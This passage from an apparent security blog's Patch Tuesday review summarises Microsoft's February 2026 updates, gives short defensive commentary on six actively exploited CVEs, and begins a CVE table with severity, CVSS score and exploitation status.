that fixes a single, Important-rated memory link.</p><p class="">None of the bugs fixed by Adobe this month are listed as publicly known or under active attack at the time of release, and all of the updates released by Adobe this month are listed as deployment priority 3.</p><p class=""><strong>Microsoft Patches for February 2026</strong></p><p class="">This month, Microsoft drops 58 new CVEs in Windows and Windows components, Office and Office Components, Azure, Microsoft Edge (Chromium-based), .NET and Visual Studio, GitHub Copilot, Mailslot FS, Exchange Server, Internet Explorer (!), Power BI, Hyper-V Server, and the Windows Subsystem for Linux. Counting the third-party and Chromium updates listed in the release, it brings the total number of CVEs to 62. One of the bugs in the Windows Graphics component was submitted through the ZDI program. Five of these bugs are rated Critical, two are rated Moderate, and the rest are rated Important in severity.</p><p class="">It’s typical to see this number of CVEs released in February, but the number of bugs under active attack is extraordinarily high. Microsoft lists six bugs being exploited at the time of release, with three of these listed as publicly known. Last month only had a single bug being exploited, although there were twice as many CVEs patched. We’ll see if we’re on our way to another “hot exploit summer” as we saw a few years ago or if this is just an aberration. </p><p class="">Let’s take a closer look at some of the more interesting updates for this month, starting with the bugs under active attack: </p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21510"><strong>CVE-2026-21510</strong></a><strong> - Windows Shell Security Feature Bypass Vulnerability<br></strong>This bug is listed as a security feature bypass, but it could also be classified as code execution. An attacker can bypass Windows SmartScreen and Windows Shell security prompts to execute code on a target system. This bug is also listed as publicly known, but Microsoft doesn’t say where. There is user interaction here, as the client needs to click a link or a shortcut file. Still, a one-click bug to gain code execution is a rarity. Definitely test and deploy this fix quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21514"><strong>CVE-2026-21514</strong></a><strong> - Microsoft Word Security Feature Bypass Vulnerability<br></strong>This bug also requires user interaction in the form of opening a Word document, but that’s all that’s required to bypass protections to dangerous COM/OLE controls. Thankfully, the Preview Pane is <em>not</em> an attack vector here. However, users are well known to open lots of documents they receive in e-mail. This bypass could also result in code execution if the right COM/OLE control is hit. This is also listed as publicly known, so add this to the list to test and deploy quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21519"><strong>CVE-2026-21519</strong></a><strong> - Desktop Window Manager Elevation of Privilege Vulnerability<br></strong>This is the second month in a row that a DWM was listed as being exploited in the wild. That leads me to believe the first patch didn’t completely resolve the vulnerability. Same as last month, this bug allows attackers to run code with SYSTEM privileges. Bugs of this type are typically paired with a code execution bug to take over a system. As always, Microsoft offers no indication of how widespread these exploits may be.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21533"><strong>CVE-2026-21533</strong></a><strong> - Windows Remote Desktop Services Elevation of Privilege Vulnerability<br></strong>Don’t let the word “Remote” in the title fool you – this is a local bug that allows attackers to run code with SYSTEM privileges. It’s interesting that Microsoft lists “Improper privilege management” as the root cause for this issue. If the system is running Remote Desktop Services, it’s probably a juicy target for attackers to move laterally after an initial breach. Add this one to the list of patches to test and deploy immediately.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21513"><strong>CVE-2026-21513</strong></a><strong> - Internet Explorer Security Feature Bypass Vulnerability<br></strong>Although long gone by many measurements, IE does still exist on Windows systems, and calling it always results in a vulnerability somehow. This bug manifests similarly to the Shell bug above, as it requires user interaction but could result in code execution. The bypass here is simply the ability to reach IE, which shouldn’t be possible. Again, test and deploy this fix quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21525"><strong>CVE-2026-21525</strong></a><strong> - Windows Remote Access Connection Manager Denial of Service Vulnerability<br></strong>It’s unusual to see DoS bugs being used in active attacks, but that’s what we have here. A null pointer deref in the Windows Remote Access Connection Manager allows an unauthorized attacker to deny service locally. Most null pointer derefs cause the application or service to crash, but it’s not clear if it will automatically restart. I would exercise caution and patch quickly either way.</p><p class="">Here’s the full list of CVEs released by Microsoft for February 2026:</p>





















  
  




  


  
    





<link rel="File-List" href="2026_PatchTable-Feb.fld/filelist.xml">













<table border="0" cellpadding="0" cellspacing="0" width="953">
 <col width="151" class="xl69">
 <col width="263" class="xl72">
 <col width="111" class="xl71" span="4">
 <col width="95" class="xl71">
 <tr height="48">
  <td width="151" class="xl69" height="48"><span> </span>CVE<span> </span></td>
  <td width="263" class="xl72"><span> </span>Title<span> </span></td>
  <td width="111" class="xl71"><span> </span>Severity<span> </span></td>
  <td width="111" class="xl71"><span> </span>CVSS<span> </span></td>
  <td width="111" class="xl71"><span> </span>Public</td>
  <td width="111" class="xl71"><span> </span>Exploited<span> </span></td>
  <td width="95" class="xl71"><span> </span>TYPE<span> </span></td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21514"><span><span> </span>CVE-2026-21514<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft Word Security Feature Bypass
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl66"><span> </span>Yes<span> </span></td>
  <td class="xl66"><span> </span>Yes<span> </span></td>
  <td class="xl65">SFB</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21510"><span><span> </span>CVE-2026-21510<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Shell Security Feature Bypass
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8.8</td>
  <td class="xl66"><span> </span>Yes<span> </span></td>
  <td class="xl66"><span> </span>Yes<span> </span></td>
  <td class="xl65">SFB</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21513"><span><span> </span>CVE-2026-21513<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Internet Explorer Security Feature Bypass
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8.8</td>
  <td class="xl66"><span> </span>Yes<span> </span></td>
  <td class="xl66"><span> </span>Yes<span> </span></td>
  <td class="xl65">SFB</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21519"><span><span> </span>CVE-2026-21519<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Desktop Window Manager Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl66"><span> </span>Yes<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="72">
  <td class="xl74" height="72"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21533"><span><span> </span>CVE-2026-21533<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Remote Desktop Services Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl66"><span> </span>Yes<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21525"><span><span> </span>CVE-2026-21525<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Remote Access Connection Manager
  Denial of Service Vulnerability<span> </span></td>
  <td class="xl68"><span> </span>Moderate<span> </span></td>
  <td class="xl65">6.2</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl66"><span> </span>Yes<span> </span></td>
  <td class="xl65">DoS</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21511"><span><span> </span>CVE-2026-21511<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft Outlook Spoofing
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Spoofing</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-2804"><span><span> </span>CVE-2023-2804 *</span></a></td>
  <td width="263" class="xl75"><span> </span>Red Hat, Inc. CVE-2023-2804: Heap Based
  Overflow libjpeg-turbo<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">6.5</td>
  <td class="xl65"><span> </span>Yes<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24302"><span><span> </span>CVE-2026-24302<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Azure Arc Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl73"><span> </span>Critical<span> </span></td>
  <td class="xl65">8.6</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24300"><span><span> </span>CVE-2026-24300<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Azure Front Door Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl73"><span> </span>Critical<span> </span></td>
  <td class="xl65">9.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21532"><span><span> </span>CVE-2026-21532<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Azure Function Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl73"><span> </span>Critical<span> </span></td>
  <td class="xl65">8.2</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Info</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21522"><span><span> </span>CVE-2026-21522<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft ACI Confidential Containers
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl73"><span> </span>Critical<span> </span></td>
  <td class="xl65">6.7</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23655"><span><span> </span>CVE-2026-23655<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft ACI Confidential Containers
  Information Disclosure Vulnerability<span> </span></td>
  <td class="xl73"><span> </span>Critical<span> </span></td>
  <td class="xl65">6.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Info</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21218"><span><span> </span>CVE-2026-21218<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>.NET and Visual Studio Spoofing
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Spoofing</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21512"><span><span> </span>CVE-2026-21512<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Azure DevOps Server Cross-Site Scripting
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">6.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">XSS</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21529"><span><span> </span>CVE-2026-21529 †</span></a></td>
  <td width="263" class="xl75"><span> </span>Azure HDInsight Spoofing Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">5.7</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Spoofing</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21528"><span><span> </span>CVE-2026-21528<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Azure IoT Explorer Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">6.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Info</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21228"><span><span> </span>CVE-2026-21228<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Azure Local Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8.1</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21531"><span><span> </span>CVE-2026-21531<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Azure SDK for Python Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">9.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21251"><span><span> </span>CVE-2026-21251<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Cluster Client Failover (CCF) Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20846"><span><span> </span>CVE-2026-20846<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>GDI+ Denial of Service Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">DoS</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21523"><span><span> </span>CVE-2026-21523<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>GitHub Copilot and Visual Studio Code Remote
  Code Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21518"><span><span> </span>CVE-2026-21518<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>GitHub Copilot and Visual Studio Code
  Security Feature Bypass Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">6.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">SFB</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21257"><span><span> </span>CVE-2026-21257<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>GitHub Copilot and Visual Studio Elevation
  of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21256"><span><span> </span>CVE-2026-21256<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>GitHub Copilot and Visual Studio Remote Code
  Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21516"><span><span> </span>CVE-2026-21516<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>GitHub Copilot for Jetbrains Remote Code
  Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21253"><span><span> </span>CVE-2026-21253<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Mailslot File System Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21537"><span><span> </span>CVE-2026-21537 †</span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft Defender for Endpoint Linux
  Extension Remote Code Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21259"><span><span> </span>CVE-2026-21259<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft Excel Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.3</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21258"><span><span> </span>CVE-2026-21258<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft Excel Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">5.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Info</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21261"><span><span> </span>CVE-2026-21261<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft Excel Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">5.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Info</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21527"><span><span> </span>CVE-2026-21527<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft Exchange Server Spoofing
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">6.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Spoofing</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21260"><span><span> </span>CVE-2026-21260<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft Outlook Spoofing
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Spoofing</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21229"><span><span> </span>CVE-2026-21229<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Power BI Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21236"><span><span> </span>CVE-2026-21236<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Ancillary Function Driver for
  WinSock Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21238"><span><span> </span>CVE-2026-21238<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Ancillary Function Driver for
  WinSock Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21241"><span><span> </span>CVE-2026-21241<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Ancillary Function Driver for
  WinSock Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21517"><span><span> </span>CVE-2026-21517<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows App for Mac Installer Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21234"><span><span> </span>CVE-2026-21234<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Connected Devices Platform Service
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21235"><span><span> </span>CVE-2026-21235<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Graphics Component Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.3</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21246"><span><span> </span>CVE-2026-21246<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Graphics Component Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21232"><span><span> </span>CVE-2026-21232<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows HTTP.sys Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21240"><span><span> </span>CVE-2026-21240<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows HTTP.sys Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21250"><span><span> </span>CVE-2026-21250<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows HTTP.sys Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21244"><span><span> </span>CVE-2026-21244<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Hyper-V Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.3</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21247"><span><span> </span>CVE-2026-21247<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Hyper-V Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.3</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21248"><span><span> </span>CVE-2026-21248<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Hyper-V Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.3</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21255"><span><span> </span>CVE-2026-21255<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Hyper-V Security Feature Bypass
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">SFB</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21231"><span><span> </span>CVE-2026-21231<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Kernel Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
